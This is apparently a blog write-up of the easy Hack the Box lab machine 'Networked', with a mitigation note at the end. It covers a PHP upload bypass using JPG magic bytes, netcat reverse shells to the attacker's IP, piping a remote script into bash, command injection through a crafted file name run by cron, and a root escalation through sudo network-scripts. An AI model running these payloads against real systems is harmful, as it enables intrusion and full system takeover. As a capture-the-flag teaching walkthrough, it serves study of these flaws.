Hack the Box Write-up #2: Networked

29 minute read

In today’s write-up we’re looking at “Networked”, another Hack the Box machine rated as easy. We’ll start by finding relevant files via a directory brute-forcer, go on to read some PHP code and then exploiting a file upload feature. Command injection through a file name gives us a proper user shell, and in a second step, through network-scripts, a root shell. Enjoy!

Recon

We start with an nmap scan, just like in the last write-up, and see just two ports open:

$ nmap -sV -sC -oN nmap/init 10.10.10.146

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh?
80/tcp  open   http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)

Manually inspecting the site on port 80, all we see is a static HTML page, providing two hints in the source code:

HTML source

We could try to manually guess some directory and or file names (like upload, uploads or gallery). Since we know PHP is running (from the banner), upload.php is an easy find.

To not miss anything, though, we’re still going to run a directory brute-force in the background while further inspecting the upload form.

I really like using gobuster, so let’s use that and give it the small directory dictionary from dirbuster, combined with a search for the .php extension.

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.146 -x php

/index.php (Status: 200)
/uploads (Status: 301)
/photos.php (Status: 200)
/upload.php (Status: 200)
/lib.php (Status: 200)
/backup (Status: 301)

We can upload “normal” image files (always try the “happy path” first!), but don’t immediately see where they are accessible after upload. Trying to upload a PHP file to get remote code execution leads to Invalid image file..

Looking at the background reconnaissance job, however, we can see multiple interesting findings.

  • Going to /photos.php, we can see our uploaded image
  • Going to /backup, we can see a tar file of a website backup including all source files

Image upload

Having access to the source will make life much easier, so let’s have a look and see if we can find a way around the image file type limitation on the upload.

Untar the file archive tar xvf backup.tar, then skim through it with less * (navigate with :p and :n).

Switching to upload.php, there are a few things that could be interesting. I highlighted them in yellow.

PHP code analysis

Our main focus should be the check_file_type function, but also note the missing dot in one error message which could have been helpful in case we wouldn’t have access to the source code. Allowed extensions, target directory and permissions are also worth noting.

function check_file_type($file) {
  $mime_type = file_mime_type($file);
  if (strpos($mime_type, 'image/') === 0) {
      return true;
  } else {
      return false;
  }  
}

To circumvent this check we would need our malicious file to return an image mime type when checked by file_mime_type.

function file_mime_type($file) {
  $regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
  if (function_exists('finfo_file')) {
    $finfo = finfo_open(FILEINFO_MIME);
    if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
    {
      $mime = @finfo_file($finfo, $file['tmp_name']);
      finfo_close($finfo);
      if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
        $file_type = $matches[1];
        return $file_type;
      }
    }
  }
  if (function_exists('mime_content_type'))
  {
    $file_type = @mime_content_type($file['tmp_name']);
    if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
    {
      return $file_type;
    }
  }
  return $file['type'];
}

What the PHP functions are essentially doing (if available), is a check for the “magic bytes”, a signature in the beginning of the file, to determine the mime type.

Exploitation (first foothold)

So what if we put the file signature of a JPG file at the top of a PHP file? Would the PHP code still be executed?

# write magic bytes into a new file
echo -e '\xff\xd8\xff\xdb' > fake.php.jpg

# open file to add php code
vim fake.php.jpg

# add PHP code to execute netcat to connect to us
# (or any other code you'd like to execute. For a bit of obfuscation of what
# you did, you could also take the command as a GET argument)
<?php system('nc 10.10.14.19 9090 -e /bin/bash'); ?>

# start our listener
nc -lvnp 9090

Uploading fake.php.jpg triggers no more file type errors as we have a valid JPG signature and a jpg extension. And visiting /photos.php successfully executes our payload:

Ncat: Listening on :::9090
Ncat: Listening on 0.0.0.0:9090
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:45262.
id
uid=48(apache) gid=48(apache) groups=48(apache)

This is not only an issue with the code but also the PHP configuration (in /etc/httpd/conf.d/php.conf), which is set to interpret files that have “.php” anywhere in them, not just as an extension. A file named something.php.somethingelse would thus also be given to the PHP interpreter.

Enumeration and Exploitation (user)

Now that we have a low-priv apache shell, we can start enumerating things to escalate our privileges.

A nice way of automatically getting an overview of the system is to run LinEnum. We can serve it from our attacker machine via Python and pipe the script directly into bash.

# start a webserver on attacker machine
python3 -m http.server 8000

# in low priv shell
curl http://10.10.14.19:8000/LinEnum.sh | bash

Going through the results, what catches the eye immediately are these two (world-readable!) files.

[-] World-readable files within /home:
[...]
-r--r--r--. 1 root root 782 Oct 30  2018 /home/guly/check_attack.php
-rw-r--r-- 1 root root 44 Oct 30  2018 /home/guly/crontab.guly

We cannot modify the PHP script directly, but having a look at check_attack.php, we notice two exec calls, one of them we might be able to control:

exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$logpath and $path are set at the beginning of the script, but $value is determined by the filename, which we can control.

The idea is now to create a file in /var/www/html/uploads/ that has a valid additional command in its filename (and is an “attack attempt” as defined by the script), so that we end up with an exec like this:

nohup /bin/rm -f /var/www/html/uploads/ –> something; nc 10.10.14.19 9091 -e /bin/bash <– > /dev/null 2>&1 &.

We have one problem, though. Naming a file something; nc 10.10.14.19 9091 -e /bin/bash might not work because of the slashes.

To work around that we can look for environment variables with slashes in them and then use the parameter expansion functionality in bash (${parameter:offset:length}) to just extract the slash. Using env we can see environment variables; as expected PATH is set and contains slashes, so let’s use it. ${PATH:0:1}bin${PATH:0:1}bash will give us /bin/bash.

Now let’s start another netcat listener and then create our file:

# on attacker machine
nc -lvnp 9091

# on remote machine
touch /var/www/html/uploads/'something; nc 10.10.14.19 9091 -e ${PATH:0:1}bin${PATH:0:1}bash'

command injection

After about 3 minutes (because of the cron */3 * * * * php /home/guly/check_attack.php as defined in crontab.guly), we see that the remote machine connected back to our listener and we’re now user guly. Good!

guly shell

Enumeration and Exploitation (root)

One of the first manual checks I do is to see if the user can sudo anything without credentials. In this case it can:

$ sudo -l
[...]
User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

Without running LinEnum.sh again, we can straight dive into inspecting this shell script.

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
  
/sbin/ifup guly0

This script gives us the opportunity to modify /etc/sysconfig/network-scripts/ifcfg-guly by asking for input for the mentioned variable name/value pairs. As we can give any value that matches the regex, we can add a value followed by a space and a command.

This works as privilege escalation, because when the file is sourced at the end, the system tries to execute commands that appear after the space (after the value part). And since the process runs as root, we have command execution as root.

To demonstrate, it works similar to this:

$ echo "some=thing id" > example
$ source example # <-- will not just set the variable but also execute "id"
uid=0(root) gid=0(root) groups=0(root)

So what we can do on the remote machine is the following:

$ sudo /usr/local/sbin/changename.sh
interface NAME:
something bash -i          # <--- notice the space before the command
interface PROXY_METHOD:
a
interface BROWSER_ONLY:
a
interface BOOTPROTO:
a

# and we're in another interactive bash shell as root
$ id
uid=0(root) gid=0(root) groups=0(root)

Have a read about this “issue” on Full Disclosure (Redhat/CentOS root through network-scripts). Setting the right permissions (i.e. not allowing users to edit the file) is enough to prevent this exploitation of a network-script.

Cheers!


I hope you’ve enjoyed this write-up. If you have any questions, did it another way or have something else to say, feel free to leave a comment. I’m always happy to learn new things. You can also check out the other write-ups.

Like to comment? Feel free to send me an email or reach out on Twitter.

Did this or another article help you? If you like and can afford it, you can buy me a coffee (3 EUR) ☕️ to support me in writing more posts. In case you would like to contribute more or I helped you directly via email or coding/troubleshooting session, you can opt to give a higher amount through the following links or adjust the quantity: 50 EUR, 100 EUR, 500 EUR. All links redirect to Stripe.